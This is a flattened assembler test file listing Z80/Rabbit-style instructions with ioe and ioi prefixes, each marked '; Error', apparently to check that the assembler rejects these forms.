bit.a -1, (ix) ; Error ioe bit.a -1, (ix+127) ; Error ioe bit.a -1, (ix+127) ; Error ioe bit.a -1, (ix-128) ; Error ioe bit.a -1, (ix-128) ; Error ioe bit.a -1, (iy) ; Error ioe bit.a -1, (iy) ; Error ioe bit.a -1, (iy+127) ; Error ioe bit.a -1, (iy+127) ; Error ioe bit.a -1, (iy-128) ; Error ioe bit.a -1, (iy-128) ; Error ioe bit.a 0, (hl) ; Error ioe bit.a 0, (ix) ; Error ioe bit.a 0, (ix+127) ; Error ioe bit.a 0, (ix-128) ; Error ioe bit.a 0, (iy) ; Error ioe bit.a 0, (iy+127) ; Error ioe bit.a 0, (iy-128) ; Error ioe bit.a 1, (hl) ; Error ioe bit.a 1, (ix) ; Error ioe bit.a 1, (ix+127) ; Error ioe bit.a 1, (ix-128) ; Error ioe bit.a 1, (iy) ; Error ioe bit.a 1, (iy+127) ; Error ioe bit.a 1, (iy-128) ; Error ioe bit.a 2, (hl) ; Error ioe bit.a 2, (ix) ; Error ioe bit.a 2, (ix+127) ; Error ioe bit.a 2, (ix-128) ; Error ioe bit.a 2, (iy) ; Error ioe bit.a 2, (iy+127) ; Error ioe bit.a 2, (iy-128) ; Error ioe bit.a 3, (hl) ; Error ioe bit.a 3, (ix) ; Error ioe bit.a 3, (ix+127) ; Error ioe bit.a 3, (ix-128) ; Error ioe bit.a 3, (iy) ; Error ioe bit.a 3, (iy+127) ; Error ioe bit.a 3, (iy-128) ; Error ioe bit.a 4, (hl) ; Error ioe bit.a 4, (ix) ; Error ioe bit.a 4, (ix+127) ; Error ioe bit.a 4, (ix-128) ; Error ioe bit.a 4, (iy) ; Error ioe bit.a 4, (iy+127) ; Error ioe bit.a 4, (iy-128) ; Error ioe bit.a 5, (hl) ; Error ioe bit.a 5, (ix) ; Error ioe bit.a 5, (ix+127) ; Error ioe bit.a 5, (ix-128) ; Error ioe bit.a 5, (iy) ; Error ioe bit.a 5, (iy+127) ; Error ioe bit.a 5, (iy-128) ; Error ioe bit.a 6, (hl) ; Error ioe bit.a 6, (ix) ; Error ioe bit.a 6, (ix+127) ; Error ioe bit.a 6, (ix-128) ; Error ioe bit.a 6, (iy) ; Error ioe bit.a 6, (iy+127) ; Error ioe bit.a 6, (iy-128) ; Error ioe bit.a 7, (hl) ; Error ioe bit.a 7, (ix) ; Error ioe bit.a 7, (ix+127) ; Error ioe bit.a 7, (ix-128) ; Error ioe bit.a 7, (iy) ; Error ioe bit.a 7, (iy+127) ; Error ioe bit.a 7, (iy-128) ; Error ioe bit.a 8, (hl) ; Error ioe bit.a 8, (hl) ; Error ioe bit.a 8, (ix) ; Error ioe bit.a 8, (ix) ; Error ioe bit.a 8, (ix+127) ; Error ioe bit.a 8, (ix+127) ; Error ioe bit.a 8, (ix-128) ; Error ioe bit.a 8, (ix-128) ; Error ioe bit.a 8, (iy) ; Error ioe bit.a 8, (iy) ; Error ioe bit.a 8, (iy+127) ; Error ioe bit.a 8, (iy+127) ; Error ioe bit.a 8, (iy-128) ; Error ioe bit.a 8, (iy-128) ; Error ioe cmp (hl) ; Error ioe cmp (ix) ; Error ioe cmp (ix+127) ; Error ioe cmp (ix-128) ; Error ioe cmp (iy) ; Error ioe cmp (iy+127) ; Error ioe cmp (iy-128) ; Error ioe cmp a, (hl) ; Error ioe cmp a, (ix) ; Error ioe cmp a, (ix+127) ; Error ioe cmp a, (ix-128) ; Error ioe cmp a, (iy) ; Error ioe cmp a, (iy+127) ; Error ioe cmp a, (iy-128) ; Error ioe cp (hl) ; Error ioe cp (ix) ; Error ioe cp (ix+127) ; Error ioe cp (ix-128) ; Error ioe cp (iy) ; Error ioe cp (iy+127) ; Error ioe cp (iy-128) ; Error ioe cp a, (hl) ; Error ioe cp a, (ix) ; Error ioe cp a, (ix+127) ; Error ioe cp a, (ix-128) ; Error ioe cp a, (iy) ; Error ioe cp a, (iy+127) ; Error ioe cp a, (iy-128) ; Error ioe dec (hl) ; Error ioe dec (ix) ; Error ioe dec (ix+127) ; Error ioe dec (ix-128) ; Error ioe dec (iy) ; Error ioe dec (iy+127) ; Error ioe dec (iy-128) ; Error ioe inc (hl) ; Error ioe inc (ix) ; Error ioe inc (ix+127) ; Error ioe inc (ix-128) ; Error ioe inc (iy) ; Error ioe inc (iy+127) ; Error ioe inc (iy-128) ; Error ioe ld (-32768), a ; Error ioe ld (-32768), bc ; Error ioe ld (-32768), de ; Error ioe ld (-32768), hl ; Error ioe ld (-32768), ix ; Error ioe ld (-32768), iy ; Error ioe ld (-32768), sp ; Error ioe ld (32767), a ; Error ioe ld (32767), bc ; Error ioe ld (32767), de ; Error ioe ld (32767), hl ; Error ioe ld (32767), ix ; Error ioe ld (32767), iy ; Error ioe ld (32767), sp ; Error ioe ld (65535), a ; Error ioe ld (65535), bc ; Error ioe ld (65535), de ; Error ioe ld (65535), hl ; Error ioe ld (65535), ix ; Error ioe ld (65535), iy ; Error ioe ld (65535), sp ; Error ioe ld (bc), a ; Error ioe ld (bc+), a ; Error ioe ld (bc-), a ; Error ioe ld (de), a ; Error ioe ld (de+), a ; Error ioe ld (de-), a ; Error ioe ld (hl), -128 ; Error ioe ld (hl), 127 ; Error ioe ld (hl), 255 ; Error ioe ld (hl), a ; Error ioe ld (hl), b ; Error ioe ld (hl), c ; Error ioe ld (hl), d ; Error ioe ld (hl), e ; Error ioe ld (hl), h ; Error ioe ld (hl), hl ; Error ioe ld (hl), l ; Error ioe ld (hl+), a ; Error ioe ld (hl+127), hl ; Error ioe ld (hl-), a ; Error ioe ld (hl-128), hl ; Error ioe ld (hld), a ; Error ioe ld (hli), a ; Error ioe ld (ix), -128 ; Error ioe ld (ix), 127 ; Error ioe ld (ix), 255 ; Error ioe ld (ix), a ; Error ioe ld (ix), b ; Error ioe ld (ix), c ; Error ioe ld (ix), d ; Error ioe ld (ix), e ; Error ioe ld (ix), h ; Error ioe ld (ix), hl ; Error ioe ld (ix), l ; Error ioe ld (ix+127), -128 ; Error ioe ld (ix+127), 127 ; Error ioe ld (ix+127), 255 ; Error ioe ld (ix+127), a ; Error ioe ld (ix+127), b ; Error ioe ld (ix+127), c ; Error ioe ld (ix+127), d ; Error ioe ld (ix+127), e ; Error ioe ld (ix+127), h ; Error ioe ld (ix+127), hl ; Error ioe ld (ix+127), l ; Error ioe ld (ix-128), -128 ; Error ioe ld (ix-128), 127 ; Error ioe ld (ix-128), 255 ; Error ioe ld (ix-128), a ; Error ioe ld (ix-128), b ; Error ioe ld (ix-128), c ; Error ioe ld (ix-128), d ; Error ioe ld (ix-128), e ; Error ioe ld (ix-128), h ; Error ioe ld (ix-128), hl ; Error ioe ld (ix-128), l ; Error ioe ld (iy), -128 ; Error ioe ld (iy), 127 ; Error ioe ld (iy), 255 ; Error ioe ld (iy), a ; Error ioe ld (iy), b ; Error ioe ld (iy), c ; Error ioe ld (iy), d ; Error ioe ld (iy), e ; Error ioe ld (iy), h ; Error ioe ld (iy), hl ; Error ioe ld (iy), l ; Error ioe ld (iy+127), -128 ; Error ioe ld (iy+127), 127 ; Error ioe ld (iy+127), 255 ; Error ioe ld (iy+127), a ; Error ioe ld (iy+127), b ; Error ioe ld (iy+127), c ; Error ioe ld (iy+127), d ; Error ioe ld (iy+127), e ; Error ioe ld (iy+127), h ; Error ioe ld (iy+127), hl ; Error ioe ld (iy+127), l ; Error ioe ld (iy-128), -128 ; Error ioe ld (iy-128), 127 ; Error ioe ld (iy-128), 255 ; Error ioe ld (iy-128), a ; Error ioe ld (iy-128), b ; Error ioe ld (iy-128), c ; Error ioe ld (iy-128), d ; Error ioe ld (iy-128), e ; Error ioe ld (iy-128), h ; Error ioe ld (iy-128), hl ; Error ioe ld (iy-128), l ; Error ioe ld a', (-32768) ; Error ioe ld a', (32767) ; Error ioe ld a', (65535) ; Error ioe ld a', (bc) ; Error ioe ld a', (bc+) ; Error ioe ld a', (bc-) ; Error ioe ld a', (de) ; Error ioe ld a', (de+) ; Error ioe ld a', (de-) ; Error ioe ld a', (hl) ; Error ioe ld a', (hl+) ; Error ioe ld a', (hl-) ; Error ioe ld a', (hld) ; Error ioe ld a', (hli) ; Error ioe ld a', (ix) ; Error ioe ld a', (ix+127) ; Error ioe ld a', (ix-128) ; Error ioe ld a', (iy) ; Error ioe ld a', (iy+127) ; Error ioe ld a', (iy-128) ; Error ioe ld a, (-32768) ; Error ioe ld a, (32767) ; Error ioe ld a, (65535) ; Error ioe ld a, (bc) ; Error ioe ld a, (bc+) ; Error ioe ld a, (bc-) ; Error ioe ld a, (de) ; Error ioe ld a, (de+) ; Error ioe ld a, (de-) ; Error ioe ld a, (hl) ; Error ioe ld a, (hl+) ; Error ioe ld a, (hl-) ; Error ioe ld a, (hld) ; Error ioe ld a, (hli) ; Error ioe ld a, (ix) ; Error ioe ld a, (ix+127) ; Error ioe ld a, (ix-128) ; Error ioe ld a, (iy) ; Error ioe ld a, (iy+127) ; Error ioe ld a, (iy-128) ; Error ioe ld b', (hl) ; Error ioe ld b', (ix) ; Error ioe ld b', (ix+127) ; Error ioe ld b', (ix-128) ; Error ioe ld b', (iy) ; Error ioe ld b', (iy+127) ; Error ioe ld b', (iy-128) ; Error ioe ld b, (hl) ; Error ioe ld b, (ix) ; Error ioe ld b, (ix+127) ; Error ioe ld b, (ix-128) ; Error ioe ld b, (iy) ; Error ioe ld b, (iy+127) ; Error ioe ld b, (iy-128) ; Error ioe ld bc', (-32768) ; Error ioe ld bc', (32767) ; Error ioe ld bc', (65535) ; Error ioe ld bc, (-32768) ; Error ioe ld bc, (32767) ; Error ioe ld bc, (65535) ; Error ioe ld c', (hl) ; Error ioe ld c', (ix) ; Error ioe ld c', (ix+127) ; Error ioe ld c', (ix-128) ; Error ioe ld c', (iy) ; Error ioe ld c', (iy+127) ; Error ioe ld c', (iy-128) ; Error ioe ld c, (hl) ; Error ioe ld c, (ix) ; Error ioe ld c, (ix+127) ; Error ioe ld c, (ix-128) ; Error ioe ld c, (iy) ; Error ioe ld c, (iy+127) ; Error ioe ld c, (iy-128) ; Error ioe ld d', (hl) ; Error ioe ld d', (ix) ; Error ioe ld d', (ix+127) ; Error ioe ld d', (ix-128) ; Error ioe ld d', (iy) ; Error ioe ld d', (iy+127) ; Error ioe ld d', (iy-128) ; Error ioe ld d, (hl) ; Error ioe ld d, (ix) ; Error ioe ld d, (ix+127) ; Error ioe ld d, (ix-128) ; Error ioe ld d, (iy) ; Error ioe ld d, (iy+127) ; Error ioe ld d, (iy-128) ; Error ioe ld de', (-32768) ; Error ioe ld de', (32767) ; Error ioe ld de', (65535) ; Error ioe ld de, (-32768) ; Error ioe ld de, (32767) ; Error ioe ld de, (65535) ; Error ioe ld e', (hl) ; Error ioe ld e', (ix) ; Error ioe ld e', (ix+127) ; Error ioe ld e', (ix-128) ; Error ioe ld e', (iy) ; Error ioe ld e', (iy+127) ; Error ioe ld e', (iy-128) ; Error ioe ld e, (hl) ; Error ioe ld e, (ix) ; Error ioe ld e, (ix+127) ; Error ioe ld e, (ix-128) ; Error ioe ld e, (iy) ; Error ioe ld e, (iy+127) ; Error ioe ld e, (iy-128) ; Error ioe ld h', (hl) ; Error ioe ld h', (ix) ; Error ioe ld h', (ix+127) ; Error ioe ld h', (ix-128) ; Error ioe ld h', (iy) ; Error ioe ld h', (iy+127) ; Error ioe ld h', (iy-128) ; Error ioe ld h, (hl) ; Error ioe ld h, (ix) ; Error ioe ld h, (ix+127) ; Error ioe ld h, (ix-128) ; Error ioe ld h, (iy) ; Error ioe ld h, (iy+127) ; Error ioe ld h, (iy-128) ; Error ioe ld hl', (-32768) ; Error ioe ld hl', (32767) ; Error ioe ld hl', (65535) ; Error ioe ld hl', (hl) ; Error ioe ld hl', (hl+127) ; Error ioe ld hl', (hl-128) ; Error ioe ld hl', (ix) ; Error ioe ld hl', (ix+127) ; Error ioe ld hl', (ix-128) ; Error ioe ld hl', (iy) ; Error ioe ld hl', (iy+127) ; Error ioe ld hl', (iy-128) ; Error ioe ld hl, (-32768) ; Error ioe ld hl, (32767) ; Error ioe ld hl, (65535) ; Error ioe ld hl, (hl) ; Error ioe ld hl, (hl+127) ; Error ioe ld hl, (hl-128) ; Error ioe ld hl, (ix) ; Error ioe ld hl, (ix+127) ; Error ioe ld hl, (ix-128) ; Error ioe ld hl, (iy) ; Error ioe ld hl, (iy+127) ; Error ioe ld hl, (iy-128) ; Error ioe ld ix, (-32768) ; Error ioe ld ix, (32767) ; Error ioe ld ix, (65535) ; Error ioe ld iy, (-32768) ; Error ioe ld iy, (32767) ; Error ioe ld iy, (65535) ; Error ioe ld l', (hl) ; Error ioe ld l', (ix) ; Error ioe ld l', (ix+127) ; Error ioe ld l', (ix-128) ; Error ioe ld l', (iy) ; Error ioe ld l', (iy+127) ; Error ioe ld l', (iy-128) ; Error ioe ld l, (hl) ; Error ioe ld l, (ix) ; Error ioe ld l, (ix+127) ; Error ioe ld l, (ix-128) ; Error ioe ld l, (iy) ; Error ioe ld l, (iy+127) ; Error ioe ld l, (iy-128) ; Error ioe ld sp, (-32768) ; Error ioe ld sp, (32767) ; Error ioe ld sp, (65535) ; Error ioe ldd ; Error ioe ldd (bc), a ; Error ioe ldd (de), a ; Error ioe ldd (hl), a ; Error ioe ldd a, (bc) ; Error ioe ldd a, (de) ; Error ioe ldd a, (hl) ; Error ioe lddr ; Error ioe lddsr ; Error ioe ldi ; Error ioe ldi (bc), a ; Error ioe ldi (de), a ; Error ioe ldi (hl), a ; Error ioe ldi a, (bc) ; Error ioe ldi a, (de) ; Error ioe ldi a, (hl) ; Error ioe ldir ; Error ioe ldisr ; Error ioe lsddr ; Error ioe lsdr ; Error ioe lsidr ; Error ioe lsir ; Error ioe or (hl) ; Error ioe or (ix) ; Error ioe or (ix+127) ; Error ioe or (ix-128) ; Error ioe or (iy) ; Error ioe or (iy+127) ; Error ioe or (iy-128) ; Error ioe or a', (hl) ; Error ioe or a', (ix) ; Error ioe or a', (ix+127) ; Error ioe or a', (ix-128) ; Error ioe or a', (iy) ; Error ioe or a', (iy+127) ; Error ioe or a', (iy-128) ; Error ioe or a, (hl) ; Error ioe or a, (ix) ; Error ioe or a, (ix+127) ; Error ioe or a, (ix-128) ; Error ioe or a, (iy) ; Error ioe or a, (iy+127) ; Error ioe or a, (iy-128) ; Error ioe res -1, (hl) ; Error ioe res -1, (hl) ; Error ioe res -1, (ix) ; Error ioe res -1, (ix) ; Error ioe res -1, (ix+127) ; Error ioe res -1, (ix+127) ; Error ioe res -1, (ix-128) ; Error ioe res -1, (ix-128) ; Error ioe res -1, (iy) ; Error ioe res -1, (iy) ; Error ioe res -1, (iy+127) ; Error ioe res -1, (iy+127) ; Error ioe res -1, (iy-128) ; Error ioe res -1, (iy-128) ; Error ioe res 0, (hl) ; Error ioe res 0, (ix) ; Error ioe res 0, (ix+127) ; Error ioe res 0, (ix-128) ; Error ioe res 0, (iy) ; Error ioe res 0, (iy+127) ; Error ioe res 0, (iy-128) ; Error ioe res 1, (hl) ; Error ioe res 1, (ix) ; Error ioe res 1, (ix+127) ; Error ioe res 1, (ix-128) ; Error ioe res 1, (iy) ; Error ioe res 1, (iy+127) ; Error ioe res 1, (iy-128) ; Error ioe res 2, (hl) ; Error ioe res 2, (ix) ; Error ioe res 2, (ix+127) ; Error ioe res 2, (ix-128) ; Error ioe res 2, (iy) ; Error ioe res 2, (iy+127) ; Error ioe res 2, (iy-128) ; Error ioe res 3, (hl) ; Error ioe res 3, (ix) ; Error ioe res 3, (ix+127) ; Error ioe res 3, (ix-128) ; Error ioe res 3, (iy) ; Error ioe res 3, (iy+127) ; Error ioe res 3, (iy-128) ; Error ioe res 4, (hl) ; Error ioe res 4, (ix) ; Error ioe res 4, (ix+127) ; Error ioe res 4, (ix-128) ; Error ioe res 4, (iy) ; Error ioe res 4, (iy+127) ; Error ioe res 4, (iy-128) ; Error ioe res 5, (hl) ; Error ioe res 5, (ix) ; Error ioe res 5, (ix+127) ; Error ioe res 5, (ix-128) ; Error ioe res 5, (iy) ; Error ioe res 5, (iy+127) ; Error ioe res 5, (iy-128) ; Error ioe res 6, (hl) ; Error ioe res 6, (ix) ; Error ioe res 6, (ix+127) ; Error ioe res 6, (ix-128) ; Error ioe res 6, (iy) ; Error ioe res 6, (iy+127) ; Error ioe res 6, (iy-128) ; Error ioe res 7, (hl) ; Error ioe res 7, (ix) ; Error ioe res 7, (ix+127) ; Error ioe res 7, (ix-128) ; Error ioe res 7, (iy) ; Error ioe res 7, (iy+127) ; Error ioe res 7, (iy-128) ; Error ioe res 8, (hl) ; Error ioe res 8, (hl) ; Error ioe res 8, (ix) ; Error ioe res 8, (ix) ; Error ioe res 8, (ix+127) ; Error ioe res 8, (ix+127) ; Error ioe res 8, (ix-128) ; Error ioe res 8, (ix-128) ; Error ioe res 8, (iy) ; Error ioe res 8, (iy) ; Error ioe res 8, (iy+127) ; Error ioe res 8, (iy+127) ; Error ioe res 8, (iy-128) ; Error ioe res 8, (iy-128) ; Error ioe res.a -1, (hl) ; Error ioe res.a -1, (hl) ; Error ioe res.a -1, (ix) ; Error ioe res.a -1, (ix) ; Error ioe res.a -1, (ix+127) ; Error ioe res.a -1, (ix+127) ; Error ioe res.a -1, (ix-128) ; Error ioe res.a -1, (ix-128) ; Error ioe res.a -1, (iy) ; Error ioe res.a -1, (iy) ; Error ioe res.a -1, (iy+127) ; Error ioe res.a -1, (iy+127) ; Error ioe res.a -1, (iy-128) ; Error ioe res.a -1, (iy-128) ; Error ioe res.a 0, (hl) ; Error ioe res.a 0, (ix) ; Error ioe res.a 0, (ix+127) ; Error ioe res.a 0, (ix-128) ; Error ioe res.a 0, (iy) ; Error ioe res.a 0, (iy+127) ; Error ioe res.a 0, (iy-128) ; Error ioe res.a 1, (hl) ; Error ioe res.a 1, (ix) ; Error ioe res.a 1, (ix+127) ; Error ioe res.a 1, (ix-128) ; Error ioe res.a 1, (iy) ; Error ioe res.a 1, (iy+127) ; Error ioe res.a 1, (iy-128) ; Error ioe res.a 2, (hl) ; Error ioe res.a 2, (ix) ; Error ioe res.a 2, (ix+127) ; Error ioe res.a 2, (ix-128) ; Error ioe res.a 2, (iy) ; Error ioe res.a 2, (iy+127) ; Error ioe res.a 2, (iy-128) ; Error ioe res.a 3, (hl) ; Error ioe res.a 3, (ix) ; Error ioe res.a 3, (ix+127) ; Error ioe res.a 3, (ix-128) ; Error ioe res.a 3, (iy) ; Error ioe res.a 3, (iy+127) ; Error ioe res.a 3, (iy-128) ; Error ioe res.a 4, (hl) ; Error ioe res.a 4, (ix) ; Error ioe res.a 4, (ix+127) ; Error ioe res.a 4, (ix-128) ; Error ioe res.a 4, (iy) ; Error ioe res.a 4, (iy+127) ; Error ioe res.a 4, (iy-128) ; Error ioe res.a 5, (hl) ; Error ioe res.a 5, (ix) ; Error ioe res.a 5, (ix+127) ; Error ioe res.a 5, (ix-128) ; Error ioe res.a 5, (iy) ; Error ioe res.a 5, (iy+127) ; Error ioe res.a 5, (iy-128) ; Error ioe res.a 6, (hl) ; Error ioe res.a 6, (ix) ; Error ioe res.a 6, (ix+127) ; Error ioe res.a 6, (ix-128) ; Error ioe res.a 6, (iy) ; Error ioe res.a 6, (iy+127) ; Error ioe res.a 6, (iy-128) ; Error ioe res.a 7, (hl) ; Error ioe res.a 7, (ix) ; Error ioe res.a 7, (ix+127) ; Error ioe res.a 7, (ix-128) ; Error ioe res.a 7, (iy) ; Error ioe res.a 7, (iy+127) ; Error ioe res.a 7, (iy-128) ; Error ioe res.a 8, (hl) ; Error ioe res.a 8, (hl) ; Error ioe res.a 8, (ix) ; Error ioe res.a 8, (ix) ; Error ioe res.a 8, (ix+127) ; Error ioe res.a 8, (ix+127) ; Error ioe res.a 8, (ix-128) ; Error ioe res.a 8, (ix-128) ; Error ioe res.a 8, (iy) ; Error ioe res.a 8, (iy) ; Error ioe res.a 8, (iy+127) ; Error ioe res.a 8, (iy+127) ; Error ioe res.a 8, (iy-128) ; Error ioe res.a 8, (iy-128) ; Error ioe rl (hl) ; Error ioe rl (ix) ; Error ioe rl (ix+127) ; Error ioe rl (ix-128) ; Error ioe rl (iy) ; Error ioe rl (iy+127) ; Error ioe rl (iy-128) ; Error ioe rlc (hl) ; Error ioe rlc (ix) ; Error ioe rlc (ix+127) ; Error ioe rlc (ix-128) ; Error ioe rlc (iy) ; Error ioe rlc (iy+127) ; Error ioe rlc (iy-128) ; Error ioe rr (hl) ; Error ioe rr (ix) ; Error ioe rr (ix+127) ; Error ioe rr (ix-128) ; Error ioe rr (iy) ; Error ioe rr (iy+127) ; Error ioe rr (iy-128) ; Error ioe rrc (hl) ; Error ioe rrc (ix) ; Error ioe rrc (ix+127) ; Error ioe rrc (ix-128) ; Error ioe rrc (iy) ; Error ioe rrc (iy+127) ; Error ioe rrc (iy-128) ; Error ioe sbc (hl) ; Error ioe sbc (ix) ; Error ioe sbc (ix+127) ; Error ioe sbc (ix-128) ; Error ioe sbc (iy) ; Error ioe sbc (iy+127) ; Error ioe sbc (iy-128) ; Error ioe sbc a', (hl) ; Error ioe sbc a', (ix) ; Error ioe sbc a', (ix+127) ; Error ioe sbc a', (ix-128) ; Error ioe sbc a', (iy) ; Error ioe sbc a', (iy+127) ; Error ioe sbc a', (iy-128) ; Error ioe sbc a, (hl) ; Error ioe sbc a, (ix) ; Error ioe sbc a, (ix+127) ; Error ioe sbc a, (ix-128) ; Error ioe sbc a, (iy) ; Error ioe sbc a, (iy+127) ; Error ioe sbc a, (iy-128) ; Error ioe set -1, (hl) ; Error ioe set -1, (hl) ; Error ioe set -1, (ix) ; Error ioe set -1, (ix) ; Error ioe set -1, (ix+127) ; Error ioe set -1, (ix+127) ; Error ioe set -1, (ix-128) ; Error ioe set -1, (ix-128) ; Error ioe set -1, (iy) ; Error ioe set -1, (iy) ; Error ioe set -1, (iy+127) ; Error ioe set -1, (iy+127) ; Error ioe set -1, (iy-128) ; Error ioe set -1, (iy-128) ; Error ioe set 0, (hl) ; Error ioe set 0, (ix) ; Error ioe set 0, (ix+127) ; Error ioe set 0, (ix-128) ; Error ioe set 0, (iy) ; Error ioe set 0, (iy+127) ; Error ioe set 0, (iy-128) ; Error ioe set 1, (hl) ; Error ioe set 1, (ix) ; Error ioe set 1, (ix+127) ; Error ioe set 1, (ix-128) ; Error ioe set 1, (iy) ; Error ioe set 1, (iy+127) ; Error ioe set 1, (iy-128) ; Error ioe set 2, (hl) ; Error ioe set 2, (ix) ; Error ioe set 2, (ix+127) ; Error ioe set 2, (ix-128) ; Error ioe set 2, (iy) ; Error ioe set 2, (iy+127) ; Error ioe set 2, (iy-128) ; Error ioe set 3, (hl) ; Error ioe set 3, (ix) ; Error ioe set 3, (ix+127) ; Error ioe set 3, (ix-128) ; Error ioe set 3, (iy) ; Error ioe set 3, (iy+127) ; Error ioe set 3, (iy-128) ; Error ioe set 4, (hl) ; Error ioe set 4, (ix) ; Error ioe set 4, (ix+127) ; Error ioe set 4, (ix-128) ; Error ioe set 4, (iy) ; Error ioe set 4, (iy+127) ; Error ioe set 4, (iy-128) ; Error ioe set 5, (hl) ; Error ioe set 5, (ix) ; Error ioe set 5, (ix+127) ; Error ioe set 5, (ix-128) ; Error ioe set 5, (iy) ; Error ioe set 5, (iy+127) ; Error ioe set 5, (iy-128) ; Error ioe set 6, (hl) ; Error ioe set 6, (ix) ; Error ioe set 6, (ix+127) ; Error ioe set 6, (ix-128) ; Error ioe set 6, (iy) ; Error ioe set 6, (iy+127) ; Error ioe set 6, (iy-128) ; Error ioe set 7, (hl) ; Error ioe set 7, (ix) ; Error ioe set 7, (ix+127) ; Error ioe set 7, (ix-128) ; Error ioe set 7, (iy) ; Error ioe set 7, (iy+127) ; Error ioe set 7, (iy-128) ; Error ioe set 8, (hl) ; Error ioe set 8, (hl) ; Error ioe set 8, (ix) ; Error ioe set 8, (ix) ; Error ioe set 8, (ix+127) ; Error ioe set 8, (ix+127) ; Error ioe set 8, (ix-128) ; Error ioe set 8, (ix-128) ; Error ioe set 8, (iy) ; Error ioe set 8, (iy) ; Error ioe set 8, (iy+127) ; Error ioe set 8, (iy+127) ; Error ioe set 8, (iy-128) ; Error ioe set 8, (iy-128) ; Error ioe set.a -1, (hl) ; Error ioe set.a -1, (hl) ; Error ioe set.a -1, (ix) ; Error ioe set.a -1, (ix) ; Error ioe set.a -1, (ix+127) ; Error ioe set.a -1, (ix+127) ; Error ioe set.a -1, (ix-128) ; Error ioe set.a -1, (ix-128) ; Error ioe set.a -1, (iy) ; Error ioe set.a -1, (iy) ; Error ioe set.a -1, (iy+127) ; Error ioe set.a -1, (iy+127) ; Error ioe set.a -1, (iy-128) ; Error ioe set.a -1, (iy-128) ; Error ioe set.a 0, (hl) ; Error ioe set.a 0, (ix) ; Error ioe set.a 0, (ix+127) ; Error ioe set.a 0, (ix-128) ; Error ioe set.a 0, (iy) ; Error ioe set.a 0, (iy+127) ; Error ioe set.a 0, (iy-128) ; Error ioe set.a 1, (hl) ; Error ioe set.a 1, (ix) ; Error ioe set.a 1, (ix+127) ; Error ioe set.a 1, (ix-128) ; Error ioe set.a 1, (iy) ; Error ioe set.a 1, (iy+127) ; Error ioe set.a 1, (iy-128) ; Error ioe set.a 2, (hl) ; Error ioe set.a 2, (ix) ; Error ioe set.a 2, (ix+127) ; Error ioe set.a 2, (ix-128) ; Error ioe set.a 2, (iy) ; Error ioe set.a 2, (iy+127) ; Error ioe set.a 2, (iy-128) ; Error ioe set.a 3, (hl) ; Error ioe set.a 3, (ix) ; Error ioe set.a 3, (ix+127) ; Error ioe set.a 3, (ix-128) ; Error ioe set.a 3, (iy) ; Error ioe set.a 3, (iy+127) ; Error ioe set.a 3, (iy-128) ; Error ioe set.a 4, (hl) ; Error ioe set.a 4, (ix) ; Error ioe set.a 4, (ix+127) ; Error ioe set.a 4, (ix-128) ; Error ioe set.a 4, (iy) ; Error ioe set.a 4, (iy+127) ; Error ioe set.a 4, (iy-128) ; Error ioe set.a 5, (hl) ; Error ioe set.a 5, (ix) ; Error ioe set.a 5, (ix+127) ; Error ioe set.a 5, (ix-128) ; Error ioe set.a 5, (iy) ; Error ioe set.a 5, (iy+127) ; Error ioe set.a 5, (iy-128) ; Error ioe set.a 6, (hl) ; Error ioe set.a 6, (ix) ; Error ioe set.a 6, (ix+127) ; Error ioe set.a 6, (ix-128) ; Error ioe set.a 6, (iy) ; Error ioe set.a 6, (iy+127) ; Error ioe set.a 6, (iy-128) ; Error ioe set.a 7, (hl) ; Error ioe set.a 7, (ix) ; Error ioe set.a 7, (ix+127) ; Error ioe set.a 7, (ix-128) ; Error ioe set.a 7, (iy) ; Error ioe set.a 7, (iy+127) ; Error ioe set.a 7, (iy-128) ; Error ioe set.a 8, (hl) ; Error ioe set.a 8, (hl) ; Error ioe set.a 8, (ix) ; Error ioe set.a 8, (ix) ; Error ioe set.a 8, (ix+127) ; Error ioe set.a 8, (ix+127) ; Error ioe set.a 8, (ix-128) ; Error ioe set.a 8, (ix-128) ; Error ioe set.a 8, (iy) ; Error ioe set.a 8, (iy) ; Error ioe set.a 8, (iy+127) ; Error ioe set.a 8, (iy+127) ; Error ioe set.a 8, (iy-128) ; Error ioe set.a 8, (iy-128) ; Error ioe sla (hl) ; Error ioe sla (ix) ; Error ioe sla (ix+127) ; Error ioe sla (ix-128) ; Error ioe sla (iy) ; Error ioe sla (iy+127) ; Error ioe sla (iy-128) ; Error ioe sra (hl) ; Error ioe sra (ix) ; Error ioe sra (ix+127) ; Error ioe sra (ix-128) ; Error ioe sra (iy) ; Error ioe sra (iy+127) ; Error ioe sra (iy-128) ; Error ioe srl (hl) ; Error ioe srl (ix) ; Error ioe srl (ix+127) ; Error ioe srl (ix-128) ; Error ioe srl (iy) ; Error ioe srl (iy+127) ; Error ioe srl (iy-128) ; Error ioe sub (hl) ; Error ioe sub (ix) ; Error ioe sub (ix+127) ; Error ioe sub (ix-128) ; Error ioe sub (iy) ; Error ioe sub (iy+127) ; Error ioe sub (iy-128) ; Error ioe sub a', (hl) ; Error ioe sub a', (ix) ; Error ioe sub a', (ix+127) ; Error ioe sub a', (ix-128) ; Error ioe sub a', (iy) ; Error ioe sub a', (iy+127) ; Error ioe sub a', (iy-128) ; Error ioe sub a, (hl) ; Error ioe sub a, (ix) ; Error ioe sub a, (ix+127) ; Error ioe sub a, (ix-128) ; Error ioe sub a, (iy) ; Error ioe sub a, (iy+127) ; Error ioe sub a, (iy-128) ; Error ioe xor (hl) ; Error ioe xor (ix) ; Error ioe xor (ix+127) ; Error ioe xor (ix-128) ; Error ioe xor (iy) ; Error ioe xor (iy+127) ; Error ioe xor (iy-128) ; Error ioe xor a', (hl) ; Error ioe xor a', (ix) ; Error ioe xor a', (ix+127) ; Error ioe xor a', (ix-128) ; Error ioe xor a', (iy) ; Error ioe xor a', (iy+127) ; Error ioe xor a', (iy-128) ; Error ioe xor a, (hl) ; Error ioe xor a, (ix) ; Error ioe xor a, (ix+127) ; Error ioe xor a, (ix-128) ; Error ioe xor a, (iy) ; Error ioe xor a, (iy+127) ; Error ioe xor a, (iy-128) ; Error ioi adc (hl) ; Error ioi adc (ix) ; Error ioi adc (ix+127) ; Error ioi adc (ix-128) ; Error ioi adc (iy) ; Error ioi adc (iy+127) ; Error ioi adc (iy-128) ; Error ioi adc a', (hl) ; Error ioi adc a', (ix) ; Error ioi adc a', (ix+127) ; Error ioi adc a', (ix-128) ; Error ioi adc a', (iy) ; Error ioi adc a', (iy+127) ; Error ioi adc a', (iy-128) ; Error ioi adc a, (hl) ; Error ioi adc a, (ix) ; Error ioi adc a, (ix+127) ; Error ioi adc a, (ix-128) ; Error ioi adc a, (iy) ; Error ioi adc a, (iy+127) ; Error ioi adc a, (iy-128) ; 